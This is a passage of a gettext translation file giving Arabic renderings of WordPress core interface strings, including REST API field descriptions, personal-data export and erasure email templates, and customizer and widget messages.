#: wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:279
msgid "Object subtype."
msgstr "نوع الكائن الفرعي."

#: wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:318
msgid "Limit results to items of an object type."
msgstr "حصر النتائج على العناصر من نوع الكائن."

#: wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:325
msgid "Limit results to items of one or more object subtypes."
msgstr "حصر النتائج على العناصر لواحد أو أكثر من أنواع الكائن الفرعية."

#: wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:400
msgid "Invalid type parameter."
msgstr "نوع المعامل غير صالح."

#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:395
msgid "The visibility settings for the taxonomy."
msgstr "إعدادات الظهور للفئة."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:552
msgid "Features supported by this theme."
msgstr "الميزات المدعومة بواسطة هذا القالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:612
msgid "Limit result set to themes assigned one or more statuses."
msgstr "حصر النتائج على القوالب المُسندة لحالة واحدة أو أكثر."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2434
msgid "Version of the content block format used by the post."
msgstr "إصدار تنسيق مكوّن المحتوى المُستخدم بواسطة المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2319
msgid "Slug automatically generated from the post title."
msgstr "يتم إنشاء الاسم اللطيف تلقائيًا من عنوان المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2312
msgid "Permalink template for the post."
msgstr "قالب الرابط الدائم للمقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2664
msgid "The current user can post unfiltered HTML markup and JavaScript."
msgstr "يُمكن للمستخدم الحالي نشر أكواد HTML وجافا سكربت غير مُصفاة."

#: wp-includes/theme.php:4158
msgid "Post formats supported."
msgstr "صيغ المقال مدعومة."

#. translators: 1: author name (inside <a> or <span> tag, based on if they have
#. a URL), 2: post title related to this comment
#: wp-includes/blocks/latest-comments.php:100
msgid "%1$s on %2$s"
msgstr "%1$s على %2$s"

#. translators: %s: Block name.
#: wp-includes/class-wp-block-type-registry.php:87
msgid "Block type \"%s\" is already registered."
msgstr "نوع المكوّن \"%s\" تم تسجيله مسبقاً."

#: wp-includes/class-wp-block-type-registry.php:67
msgid "Block type names must not contain uppercase characters."
msgstr "يجب ألا تحتوي أسماء المكوّنات على أحرف كبيرة."

#: wp-includes/class-wp-block-type-registry.php:77
msgid "Block type names must contain a namespace prefix. Example: my-plugin/my-custom-block-type"
msgstr "يجب أن تحتوي أسماء نوع المكوّن على بادئة إسمية. على سبيل المثال: my-plugin/my-custom-block-type"

#: wp-includes/blocks/latest-comments.php:142
msgid "No comments to show."
msgstr "لا توجد تعليقات للعرض."

#. translators: %s: Block name.
#: wp-includes/class-wp-block-type-registry.php:120
msgid "Block type \"%s\" is not registered."
msgstr "نوع المكوّن \"%s\" لم يتم تسجيله."

#: wp-includes/blocks/archives.php:96
msgid "No archives to show."
msgstr "لا توجد أرشيفات لعرضها."

#: wp-includes/class-wp-post-type.php:856 wp-admin/edit-form-advanced.php:188
msgid "Post published."
msgstr "تمّ نشر المقالة."

#: wp-includes/class-wp-post-type.php:856 wp-admin/edit-form-advanced.php:203
msgid "Page published."
msgstr "تمّ نشر الصفحة."

#: wp-includes/class-wp-post-type.php:857
msgid "Post published privately."
msgstr "تمّ نشر المقالة بشكل خاص."

#: wp-includes/class-wp-post-type.php:857
msgid "Page published privately."
msgstr "تمّ نشر الصفحة بشكل خاص."

#: wp-includes/class-wp-post-type.php:859
msgid "Post scheduled."
msgstr "تمّ جدولة المقالة."

#: wp-includes/class-wp-post-type.php:859
msgid "Page scheduled."
msgstr "تمّ جدولة الصفحة."

#: wp-includes/class-wp-post-type.php:860 wp-admin/edit-form-advanced.php:182
#: wp-admin/edit-form-advanced.php:185
msgid "Post updated."
msgstr "تمّ تحديث المقالة."

#: wp-includes/class-wp-post-type.php:860 wp-admin/edit-form-advanced.php:197
#: wp-admin/edit-form-advanced.php:200
msgid "Page updated."
msgstr "تمّ تحديث الصفحة."

#: wp-includes/class-wp-post-type.php:858
msgid "Page reverted to draft."
msgstr "تمّ إعادة الصفحة إلى حالة المسودة."

#: wp-includes/class-wp-post-type.php:858
msgid "Post reverted to draft."
msgstr "تمّ إعادة المقالة إلى حالة المسودة."

#: wp-includes/class-wp-block-type-registry.php:58
msgid "Block type names must be strings."
msgstr "يجب أن تتكون أسماء نوع المكوّن على نصّ."

#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:310
msgid "The offset number requested is larger than or equal to the number of available revisions."
msgstr "رقم الإزاحة المطلوب أكبر من أو يساوي عدد المراجعات المتاحة."

#: wp-includes/user.php:4792
msgid "Unable to send personal data export confirmation email."
msgstr "غير قادر على إرسال بريد إلكتروني لتأكيد تصدير البيانات الشخصية."

#. translators: Privacy data request confirmed notification email subject. 1:
#. Site title, 2: Name of the confirmed action.
#: wp-includes/user.php:4078
msgid "[%1$s] Action Confirmed: %2$s"
msgstr "[%1$s] تم تأكيد الإجراء: %2$s"

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1313
#: wp-admin/includes/ms.php:45
msgid "You have used your space quota. Please delete files before uploading."
msgstr "لقد استخدمت مساحة التخزين المتاحة لك. فضلاً قم بحذف بعض الملفات لتتمكن من الرفع."

#. translators: %s: Required disk space in kilobytes.
#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1293
#: wp-admin/includes/ms.php:36
msgid "Not enough space to upload. %s KB needed."
msgstr "لا توجد مساحة كافية للرفع. بحاجة إلى %s كيلو بايت."

#. translators: %s: Taxonomy name.
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2718
msgid "The current user can create terms in the %s taxonomy."
msgstr "يستطيع العضو الحالي إنشاء عناصر في الفئة %s."

#. translators: %s: Taxonomy name.
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2716
msgid "The current user can assign terms in the %s taxonomy."
msgstr "يستطيع العضو الحالي إسناد عناصر في الفئة %s."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2697
msgid "The current user can change the author on this post."
msgstr "يستطيع العضو الحالي تغيير الكاتب على هذه المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2681
msgid "The current user can sticky this post."
msgstr "يستطيع العضو الحالي تثبيت هذه المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2648
msgid "The current user can publish this post."
msgstr "يستطيع العضو الحالي نشر هذه المقالة."

#: wp-includes/user.php:4521
msgid "Thanks for confirming your export request."
msgstr "شكرًا لك على تأكيد طلب التصدير الخاص بك."

#: wp-includes/user.php:4522
msgid "The site administrator has been notified. You will receive a link to download your export via email when they fulfill your request."
msgstr "لقد تم إشعار مدير الموقع. سوف تتلقى رابطاً عبر البريد الإلكتروني لتنزيل التصدير الخاص بك عند اكتمال تنفيذ طلبك."

#: wp-includes/user.php:4524
msgid "Thanks for confirming your erasure request."
msgstr "شكرًا لك على تأكيد طلب محو البيانات الخاصة بك."

#: wp-includes/user.php:4525
msgid "The site administrator has been notified. You will receive an email confirmation when they erase your data."
msgstr "لقد تم إشعار مدير الموقع. سوف تتلقى تأكيدًا عبر البريد الإلكتروني عند محو بياناتك."

#. translators: Do not translate SITENAME, SITEURL, PRIVACY_POLICY_URL; those
#. are placeholders.
#: wp-includes/user.php:4349
msgid ""
"Howdy,\n"
"\n"
"Your request to erase your personal data on ###SITENAME### has been completed.\n"
"\n"
"If you have any follow-up questions or concerns, please contact the site administrator.\n"
"\n"
"For more information, you can also read our privacy policy: ###PRIVACY_POLICY_URL###\n"
"\n"
"Regards,\n"
"All at ###SITENAME###\n"
"###SITEURL###"
msgstr ""
"مرحبا،\n"
"\n"
"لقد تم إكمال وتنفيذ طلبك لمحو بياناتك الشخصية من على ###SITENAME###.\n"
"\n"
"إذا كانت لديك أي أسئلة أو استفسارات تود متابعتها، فيرجى الاتصال بمدير الموقع.\n"
"\n"
"لمزيد من المعلومات، يمكنك أيضًا قراءة سياسة خصوصيتنا:\n"
"###PRIVACY_POLICY_URL###\n"
"\n"
"مع التحيّة،\n"
"عبر ###SITENAME###\n"
"###SITEURL###"

#. translators: Do not translate SITENAME, SITEURL; those are placeholders.
#: wp-includes/user.php:4335
msgid ""
"Howdy,\n"
"\n"
"Your request to erase your personal data on ###SITENAME### has been completed.\n"
"\n"
"If you have any follow-up questions or concerns, please contact the site administrator.\n"
"\n"
"Regards,\n"
"All at ###SITENAME###\n"
"###SITEURL###"
msgstr ""
"مرحبا،\n"
"\n"
"لقد تم إكمال وتنفيذ طلبك لمحو بياناتك الشخصية من على ###SITENAME###.\n"
"\n"
"إذا كانت لديك أي أسئلة أو استفسارات تود متابعتها، فيرجى الاتصال بمدير الموقع.\n"
"\n"
"مع التحيّة،\n"
"عبر ###SITENAME###\n"
"###SITEURL###"

#. translators: Erasure request fulfilled notification email subject. %s: Site
#. title.
#: wp-includes/user.php:4282
msgid "[%s] Erasure Request Fulfilled"
msgstr "تم تنفيذ طلب المسح [%s]"

#. translators: Do not translate SITENAME, USER_EMAIL, DESCRIPTION, MANAGE_URL,
#. SITEURL; those are placeholders.
#: wp-includes/user.php:4105
msgid ""
"Howdy,\n"
"\n"
"A user data privacy request has been confirmed on ###SITENAME###:\n"
"\n"
"User: ###USER_EMAIL###\n"
"Request: ###DESCRIPTION###\n"
"\n"
"You can view and manage these data privacy requests here:\n"
"\n"
"###MANAGE_URL###\n"
"\n"
"Regards,\n"
"All at ###SITENAME###\n"
"###SITEURL###"
msgstr ""
"مرحبا،\n"
"\n"
"لقد تم تأكيد طلب خصوصية بيانات المستخدم على ###SITENAME###:\n"
"\n"
"المستخدم: ###USER_EMAIL###\n"
"الطلب: ###DESCRIPTION###\n"
"\n"
"يمكنك عرض وإدارة طلبات خصوصية البيانات هذه، من هنا:\n"
"\n"
"###MANAGE_URL###\n"
"\n"
"مع التحيّة،\n"
"عبر ###SITENAME###\n"
"###SITEURL###"

#. translators: Confirm privacy data request notification email subject. 1:
#. Site title, 2: Name of the action.
#: wp-includes/user.php:4688
msgid "[%1$s] Confirm Action: %2$s"
msgstr "[%1$s] تأكيد الإجراء: %2$s"

#: wp-includes/user.php:4627 wp-admin/erase-personal-data.php:17
#: wp-admin/erase-personal-data.php:107 wp-admin/menu.php:377
msgid "Erase Personal Data"
msgstr "مسح البيانات الشخصية"

#: wp-includes/comment-template.php:2516
msgid "Save my name, email, and website in this browser for the next time I comment."
msgstr "احفظ اسمي، بريدي الإلكتروني، والموقع الإلكتروني في هذا المتصفح لاستخدامها المرة المقبلة في تعليقي."

#: wp-includes/user.php:3831
msgid "User Description"
msgstr "وصف المستخدم"

#: wp-includes/user.php:3825
msgid "User URL"
msgstr "رابط المستخدم"

#: wp-includes/user.php:3787
msgid "WordPress User"
msgstr "مستخدم ووردبريس"

#: wp-includes/user.php:3821
msgid "User ID"
msgstr "معرّف المستخدم"

#: wp-includes/user.php:3822
msgid "User Login Name"
msgstr "اسم المستخدم لتسجيل الدخول"

#: wp-includes/user.php:3823
msgid "User Nice Name"
msgstr "الاسم اللطيف للمستخدم"

#: wp-includes/user.php:3824
msgid "User Email"
msgstr "البريد الإلكتروني للمستخدم"

#: wp-includes/user.php:3826
msgid "User Registration Date"
msgstr "تاريخ تسجيل المستخدم"

#: wp-includes/user.php:3827
msgid "User Display Name"
msgstr "اسم العرض للمستخدم"

#: wp-includes/user.php:3828
msgid "User Nickname"
msgstr "الاسم المستعار للمستخدم"

#: wp-includes/user.php:3829
msgid "User First Name"
msgstr "الاسم الأول للمستخدم"

#: wp-includes/user.php:3830
msgid "User Last Name"
msgstr "الاسم الأخير للمستخدم"

#: wp-includes/media.php:5183
msgid "WordPress Media"
msgstr "وسائط ووردبريس"

#: wp-includes/block-template-utils.php:173 wp-admin/includes/upgrade.php:372
#: wp-admin/options-privacy.php:90
msgid "Privacy Policy"
msgstr "سياسة الخصوصية"

#: wp-includes/user.php:4624 wp-admin/export-personal-data.php:17
#: wp-admin/export-personal-data.php:107 wp-admin/menu.php:376
msgid "Export Personal Data"
msgstr "تصدير البيانات الشخصية"

#: wp-includes/post.php:268
msgid "User Request"
msgstr "طلب المستخدم"

#. translators: Deleted long text.
#: wp-includes/functions.php:7848
msgid "This content was deleted by the author."
msgstr "هذا المحتوى تم حذفه بواسطة الكاتب."

#. translators: Deleted text.
#: wp-includes/functions.php:7844
msgid "[deleted]"
msgstr "[تم الحذف]"

#: wp-includes/post.php:267
msgid "User Requests"
msgstr "طلبات المستخدم"

#: wp-includes/user.php:4568
msgid "Invalid action name."
msgstr "اسم الإجراء غير صالح."

#. translators: %d: Comment ID.
#: wp-includes/comment.php:3883
msgid "Comment %d contains personal data but could not be anonymized."
msgstr "التعليق %d يحتوي على بيانات شخصية ولكن غير ممكن أن تكون مجهول المصدر."

#: wp-includes/user.php:4517
msgid "The site administrator has been notified and will fulfill your request as soon as possible."
msgstr "لقد تم إشعار مدير الموقع وسوف يقوم بتلبية طلبك في أقرب وقت ممكن."

#. translators: %s: Action name.
#: wp-includes/user.php:4631
msgid "Confirm the \"%s\" action"
msgstr "تأكيد الإجراء \"%s\""

#: wp-login.php:1199
msgid "User action confirmed."
msgstr "تم تأكيد إجراء المستخدم."

#: wp-includes/user.php:4516
msgid "Action has been confirmed."
msgstr "تم تأكيد الإجراء."

#. translators: Do not translate DESCRIPTION, CONFIRM_URL, SITENAME, SITEURL:
#. those are placeholders.
#: wp-includes/user.php:4711
msgid ""
"Howdy,\n"
"\n"
"A request has been made to perform the following action on your account:\n"
"\n"
"     ###DESCRIPTION###\n"
"\n"
"To confirm this, please click on the following link:\n"
"###CONFIRM_URL###\n"
"\n"
"You can safely ignore and delete this email if you do not want to\n"
"take this action.\n"
"\n"
"Regards,\n"
"All at ###SITENAME###\n"
"###SITEURL###"
msgstr ""
"مرحبًا،\n"
"\n"
"تم تقديم طلب لتنفيذ الإجراء التالي على حسابك:\n"
"\n"
"     ###DESCRIPTION###\n"
"\n"
"لتأكيد ذلك، رجاءً أنقر على الرابط التالي:\n"
"###CONFIRM_URL###\n"
"\n"
"يمكنك بأمان تجاهل وحذف هذه الرسالة الإلكترونية إذا كنت لا تريد\n"
"اتخاذ هذا الإجراء.\n"
"\n"
"مع التحيّة،\n"
"عبر ###SITENAME###\n"
"###SITEURL###"

#: wp-includes/post.php:692 wp-includes/post.php:1234
msgctxt "request status"
msgid "Completed"
msgstr "اكتمل"

#: wp-includes/post.php:677 wp-includes/post.php:1233
msgctxt "request status"
msgid "Failed"
msgstr "فشل"

#: wp-includes/post.php:662 wp-includes/post.php:1232
msgctxt "request status"
msgid "Confirmed"
msgstr "تم التأكيد"

#: wp-includes/comment.php:3736
msgid "Comment URL"
msgstr "رابط التعليق"

#: wp-includes/comment.php:3735
msgid "Comment Content"
msgstr "محتوى التعليق"

#: wp-includes/comment.php:3734
msgid "Comment Date"
msgstr "تاريخ التعليق"

#: wp-includes/comment.php:3731
msgid "Comment Author URL"
msgstr "رابط كاتب التعليق"

#. translators: Hidden accessibility text.
#: wp-includes/comment.php:3729 wp-admin/edit-form-comment.php:53
msgid "Comment Author"
msgstr "كاتب التعليق"

#: wp-includes/comment.php:3694 wp-includes/comment.php:3804
msgid "WordPress Comments"
msgstr "تعليقات ووردبريس"

#: wp-includes/comment.php:3730
msgid "Comment Author Email"
msgstr "البريد الإلكتروني لكاتب التعليق"

#: wp-includes/comment.php:3732
msgid "Comment Author IP"
msgstr "عنوان IP كاتب التعليق"

#: wp-includes/comment.php:3733
msgid "Comment Author User Agent"
msgstr "وكيل المستخدم لكاتب التعليق"

#: wp-includes/post.php:647 wp-includes/post.php:1231
msgctxt "request status"
msgid "Pending"
msgstr "بإنتظار المراجعة"

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1579
msgid "Limit result set to users who are considered authors."
msgstr "حصر نتائج المستخدمين الذين يعتبرون كُتاب."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:238
msgid "Sorry, you are not allowed to query users by this parameter."
msgstr "عذرًا، غير مسموح لك باستعلام المستخدمين عن طريق هذا المُعامل."

#: wp-includes/media.php:4615
#: wp-admin/includes/class-wp-media-list-table.php:162
msgctxt "media items"
msgid "Mine"
msgstr "خاص بي"

#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:331
msgid "Whether or not the post type can be viewed."
msgstr "ما إذا كان يمكن عرض نوع المقالة أم لا."

#: wp-includes/class-wp-customize-manager.php:450
#: wp-includes/class-wp-xmlrpc-server.php:4009 wp-includes/functions.php:3566
#: wp-includes/script-loader.php:769 wp-includes/script-loader.php:1249
#: wp-admin/customize.php:79
#: wp-admin/includes/class-custom-image-header.php:818
#: wp-admin/includes/class-custom-image-header.php:1004
#: wp-admin/includes/class-custom-image-header.php:1015
#: wp-admin/includes/file.php:633 wp-admin/media-upload.php:38
#: wp-admin/themes.php:27 wp-admin/themes.php:70 wp-admin/users.php:157
#: wp-admin/js/tags.js:62 wp-admin/js/updates.js:1940
#: wp-admin/network/site-users.php:158
msgid "Something went wrong."
msgstr "حدث خطأ ما."

#: wp-includes/class-wp-customize-manager.php:515
#: wp-includes/script-loader.php:1250 wp-admin/customize.php:17
#: wp-admin/customize.php:34 wp-admin/edit-comments.php:13
#: wp-admin/edit-tags.php:28 wp-admin/edit-tags.php:85
#: wp-admin/edit-tags.php:116 wp-admin/edit-tags.php:136
#: wp-admin/edit-tags.php:172 wp-admin/edit.php:46
#: wp-admin/includes/bookmark.php:31 wp-admin/media-upload.php:46
#: wp-admin/nav-menus.php:25 wp-admin/options.php:50 wp-admin/options.php:83
#: wp-admin/post-new.php:60 wp-admin/press-this.php:21
#: wp-admin/site-editor.php:16 wp-admin/term.php:42 wp-admin/themes.php:14
#: wp-admin/themes.php:42 wp-admin/themes.php:62 wp-admin/user-new.php:15
#: wp-admin/user-new.php:22 wp-admin/user-new.php:55 wp-admin/user-new.php:188
#: wp-admin/users.php:15 wp-admin/widgets.php:17
msgid "You need a higher level of permission."
msgstr "أنت بحاجة إلى مستوى أعلى من الصلاحية."

#: wp-includes/functions.php:3586
msgid "The link you followed has expired."
msgstr "انتهت صلاحية الرابط الذي اتبعته."

#. translators: %s: User who is customizing the changeset in customizer.
#: wp-includes/class-wp-customize-manager.php:4123
msgid "%s is already customizing this changeset. Please wait until they are done to try customizing. Your latest changes have been autosaved."
msgstr "%s يقوم بعدّة تغييرات على تخصيص الموقع بالوقت الحالي. يرجى الانتظار إلى حين الانتهاء من محاولة التخصيص. لقد تم حفظ أحدث التغييرات التي قمت بها تلقائيًا."

#. translators: %s: User who is customizing the changeset in customizer.
#: wp-includes/class-wp-customize-manager.php:4125
msgid "%s is already customizing this changeset. Do you want to take over?"
msgstr "%s يقوم بعدّة تغييرات على تخصيص الموقع بالوقت الحالي. هل تريد الاستيلاء؟"

#: wp-includes/class-wp-customize-manager.php:4336
#: wp-admin/includes/file.php:337
msgid "Update anyway, even though it might break your site?"
msgstr "تحديث على أية حال، على الرغم من أنه قد يؤدي إلى تعطيل موقعك؟"

#: wp-includes/class-wpdb.php:1703
msgid "The query only expected one placeholder, but an array of multiple placeholders was sent."
msgstr "الاستعلام توقع نائب (placeholder) واحد، ولكن مصفوفة متعددة تم إرسالها."

#: wp-includes/script-loader.php:1239
msgctxt "customizer changeset status"
msgid "Scheduled"
msgstr "مجدول"

#: wp-includes/customize/class-wp-customize-theme-control.php:243
#: wp-includes/customize/class-wp-customize-theme-control.php:284
#: wp-admin/includes/class-wp-theme-install-list-table.php:326
#: wp-admin/includes/class-wp-theme-install-list-table.php:485
#: wp-admin/theme-install.php:321
msgctxt "theme"
msgid "Installed"
msgstr "منصّب"

#. translators: %s: Property of an object.
#: wp-includes/rest-api.php:2338
msgid "%1$s is not a valid property of Object."
msgstr "%1$s خاصية غير صالحة للكائن."

#. translators: %s: URL to Add Themes admin screen.
#: wp-includes/script-loader.php:1288
msgid "You will not be able to install new themes from here yet since your install requires SFTP credentials. For now, please <a href=\"%s\">add themes in the admin</a>."
msgstr "لن تتمكن من تنصيب قوالب جديدة من هنا لأن التنصيب يتطلب شهادات SFTP. في الوقت الراهن، يرجى <a href=\"%s\"> إضافة القوالب من لوحة التحكم </a>."

#. translators: Tab heading when selecting from the most used terms.
#: wp-includes/class-wp-taxonomy.php:637 wp-admin/includes/meta-boxes.php:1172
msgctxt "categories"
msgid "Most Used"
msgstr "الأكثر استخداماً"

#. translators: Tab heading when selecting from the most used terms.
#: wp-includes/class-wp-taxonomy.php:637
msgctxt "tags"
msgid "Most Used"
msgstr "الأكثر استخداماً"

#: wp-includes/class-wp-customize-nav-menus.php:1112
msgid "Click &#8220;Next&#8221; to start adding links to your new menu."
msgstr "أنقر&#8220;التالي&#8221; للبدء في إضافة روابط للقائمة الجديدة."

#: wp-includes/class-wp-customize-manager.php:4857
#: wp-includes/script-loader.php:1238
msgctxt "customizer changeset action/button label"
msgid "Schedule"
msgstr "جدولة"

#: wp-includes/customize/class-wp-customize-nav-menu-location-control.php:85
msgid "+ Create New Menu"
msgstr "+ إنشاء قائمة جديدة"

#: wp-includes/customize/class-wp-customize-nav-menu-location-control.php:85
msgid "Create a menu for this location"
msgstr "إنشاء قائمة لهذا المكان"

#. translators: 1: fopen(), 2: File name.
#: wp-includes/class-wp-http-curl.php:194
#: wp-includes/class-wp-http-streams.php:290
msgid "Could not open handle for %1$s to %2$s."
msgstr "تعذر فتح الملف %2$s باستخدام %1$s."

#: wp-includes/widgets/class-wp-nav-menu-widget.php:26
msgid "Add a navigation menu to your sidebar."
msgstr "أضف قائمة تصفح إلى الشريط الجانبي."

#. translators: %s: Display name of the user who has taken over the changeset
#. in customizer.
#: wp-includes/script-loader.php:1263
msgid "%s has taken over and is currently customizing."
msgstr "%s قام بتولي المهمة ويقوم بالتخصيص الآن."

#: wp-includes/class-wp-customize-manager.php:4318 wp-admin/comment.php:79
#: wp-admin/comment.php:279 wp-admin/includes/post.php:1761
#: wp-admin/plugin-editor.php:335 wp-admin/theme-editor.php:384
msgid "Go back"
msgstr "العودة للخلف"

#: wp-includes/class-wp-customize-manager.php:3405
msgid "Sorry, you are not allowed to take over."
msgstr "عذرًا، غير مسموح لك بالاستيلاء."

#: wp-includes/class-wp-customize-manager.php:3396
msgid "No changeset found to take over"
msgstr "لم يتم العثور على مجموعة تغييرات لكي يتم الاستيلاء"

#: wp-includes/class-wp-customize-manager.php:2538
#: wp-includes/class-wp-customize-manager.php:3174
msgid "Changeset is being edited by other user."
msgstr "يتم تحرير مجموعة التغييرات بواسطة مستخدم آخر."

#. translators: %s: User who is customizing the changeset in customizer.
#: wp-includes/class-wp-customize-manager.php:4130
msgid "%s is already customizing this site. Please wait until they are done to try customizing. Your latest changes have been autosaved."
msgstr "%s يقوم بالفعل بتخصيص هذا الموقع. يرجى الانتظار حتى ينتهي لمحاولة التخصيص. تم حفظ أحدث التغييرات التي قمت بها تلقائيا."

#: wp-includes/class-wp-customize-manager.php:3385
msgid "Security check failed."
msgstr "فشل التحقق الأمني."

#: wp-includes/script-loader.php:1257
msgid "Looks like something&#8217;s gone wrong. Wait a couple seconds, and then try again."
msgstr "يبدو أنه حدث خطأ ما. انتظر بضع ثواني، ومن ثم حاول مرة أخرى."

#: wp-includes/class-wp-customize-manager.php:4322
#: wp-includes/js/dist/editor.js:8177 wp-admin/includes/post.php:1844
msgid "Take over"
msgstr "تولى المهمة"

#. translators: %s: User who is customizing the changeset in customizer.
#: wp-includes/class-wp-customize-manager.php:4132
msgid "%s is already customizing this site. Do you want to take over?"
msgstr "%s يقوم بتخصيص الموقع الآن. هل تريد تولي المهمة؟"

#: wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:48
msgctxt "menu locations"
msgid "Where do you want this menu to appear?"
msgstr "أين ترغب أن تظهر هذه القائمة؟"

#: wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:64
msgctxt "menu locations"
msgid "Here&#8217;s where this menu appears. If you would like to change that, pick another location."
msgstr "هنا يتم عرض هذه القائمة. إن كنت تريد تغيير هذا، اختر مكانًا آخر."

#. translators: 1: Documentation URL, 2: Additional link attributes, 3:
#. Accessibility text.
#: wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:52
msgctxt "menu locations"
msgid "(If you plan to use a menu <a href=\"%1$s\" %2$s>widget%3$s</a>, skip this step.)"
msgstr "(إذا كنت تخطط لاستخدام قائمة <a href=\"%1$s\" %2$s>widget%3$s</a>، تخطى هذه الخطوة.)"

#: wp-includes/class-wp-customize-nav-menus.php:1126
msgid "You&#8217;ll create a menu, assign it a location, and add menu items like links to pages and categories. If your theme has multiple menu areas, you might need to create more than one."
msgstr "سوف تقوم بإنشاء قائمة، وتعيين مكان لها، وإضافة عناصر للقائمة مثل روابط للصفحات والتصنيفات. إذا كان قالبك يملك عدة أماكن للقوائم، فقد تحتاج إلى إنشاء أكثر من قائمة."

#: wp-includes/class-wp-customize-nav-menus.php:1123
msgid "It does not look like your site has any menus yet. Want to build one? Click the button to start."
msgstr "يبدو أن موقعك لا يحتوي على أي قوائم حتى الآن. هل تريد إنشاء واحدة؟ أنقر على الزر للبدء."

#: wp-includes/class-wp-customize-nav-menus.php:700
msgctxt "menu locations"
msgid "View All Locations"
msgstr "مشاهدة كل الأماكن"

#: wp-includes/class-wp-customize-manager.php:5062
msgid "While previewing a new theme, you can continue to tailor things like widgets and menus, and explore theme-specific options."
msgstr "أثناء معاينة قالب جديد، يمكنك متابعة تخصيص الأشياء مثل الودجات والقوائم، واستكشاف خيارات خاصة بالقالب."

#: wp-includes/class-wp-customize-manager.php:5061
msgid "Looking for a theme? You can search or browse the WordPress.org theme directory, install and preview themes, then activate them right here."
msgstr "تبحث عن قالب؟ يمكنك البحث أو تصفح دليل قوالب WordPress.org، قم بتنزيل ومعاينة القوالب، ثم تفعيلها من هنا."

#: wp-includes/class-wp-customize-nav-menus.php:700
msgctxt "menu locations"
msgid "View Location"
msgstr "مشاهدة المكان"

#: wp-includes/class-wp-customize-nav-menus.php:686
msgid "Your theme can display menus in one location. Select which menu you would like to use."
msgstr "يمكن لقالبك عرض القوائم في مكان واحد. اختر القائمة التي تريد استخدامها."

#: wp-includes/customize/class-wp-customize-themes-section.php:97
#: wp-admin/theme-install.php:70 wp-admin/theme-install.php:280
#: wp-admin/themes.php:237 wp-admin/themes.php:583
msgid "No themes found. Try a different search."
msgstr "لا توجد قوالب. جرب البحث بكلمات مختلفة."

#. translators: %s: Value type.
#: wp-includes/class-wpdb.php:1763
msgid "Unsupported value type (%s)."
msgstr "نوع القيمة (%s) غير مدعوم."

#. translators: %s: Site name.
#: wp-includes/user.php:3167
msgid "Site Name: %s"
msgstr "اسم الموقع: %s"

#. translators: 1: Number of placeholders, 2: Number of arguments passed.
#: wp-includes/class-wpdb.php:1719
msgid "The query does not contain the correct number of placeholders (%1$d) for the number of arguments passed (%2$d)."
msgstr "لا يحتوي الاستعلام على العدد الصحيح من العناصر النائبة (%1$d) لعدد المعاملات التي تم تمريرها (%2$d)."

#. translators: Login screen title. 1: Login screen name, 2: Network or site
#. name.
#. translators: Admin screen title. 1: Admin screen name, 2: Network or site
#. name.
#: wp-login.php:72 wp-admin/admin-header.php:68
msgid "%1$s &lsaquo; %2$s &#8212; WordPress"
msgstr "%1$s &rsaquo; %2$s &#8212; ووردبريس"

#. translators: %s: register_widget()
#: wp-includes/widgets.php:1214
msgid "Widgets need to be registered using %s, before they can be displayed."
msgstr "الودجات تحتاج إلى أن تكون مسجلة باستخدام %s، قبل أن يتم عرضها."

#: wp-includes/widgets/class-wp-widget-media-image.php:342
msgid "Link to:"
msgstr "رابط لـ:"

#: wp-includes/widgets/class-wp-widget-media-gallery.php:28
#: wp-includes/js/dist/block-library.js:19215
#: wp-includes/js/dist/block-library.js:20168
#: wp-includes/js/dist/editor.js:7780 wp-admin/includes/media.php:20
msgid "Gallery"
msgstr "معرض"

#: wp-includes/widgets/class-wp-widget-media-gallery.php:30
msgid "Displays an image gallery."
msgstr "عرض معرض صور."

#: wp-includes/widgets/class-wp-widget-media-gallery.php:38
msgid "No images selected"
msgstr "لم يتم تحديد أي صور"

#: wp-includes/widgets/class-wp-widget-custom-html.php:334
msgid "Custom HTML Widget"
msgstr "ودجت HTML مخصص"

#: wp-includes/widgets/class-wp-widget-custom-html.php:305
msgid "Use the Custom HTML widget to add arbitrary HTML code to your widget areas."
msgstr "استخدم ودجت \"HTML مخصص\" لإضافة كود HTML إلى منطقة الودجات الخاصة بك."

#. translators: Do not translate USERNAME, ADMIN_URL, EMAIL, SITENAME, SITEURL:
#. those are placeholders.
#: wp-includes/user.php:3687
msgid ""
"Howdy ###USERNAME###,\n"
"\n"
"You recently requested to have the email address on your account changed.\n"
"\n"
"If this is correct, please click on the following link to change it:\n"
"###ADMIN_URL###\n"
"\n"
"You can safely ignore and delete this email if you do not want to\n"
"take this action.\n"
"\n"
"This email has been sent to ###EMAIL###\n"
"\n"
"Regards,\n"
"All at ###SITENAME###\n"
"###SITEURL###"
msgstr ""
"مرحباً ###USERNAME###،\n"
"\n"
"لقد طلبت مؤخراً تغيير عنوان البريد الإلكتروني في حسابك.\n"
"\n"
"إذا كان هذا صحيحاً، يرجى النقر على الرابط التالي لتغييره:\n"
"###ADMIN_URL###\n"
"\n"
"يمكنك تجاهل هذا البريد الإلكتروني وحذفه بأمان إذا كنت لا تريد القيام بهذا الإجراء.\n"
"\n"
"تم إرسال هذه الرسالة إلى البريد ###EMAIL###\n"
"\n"
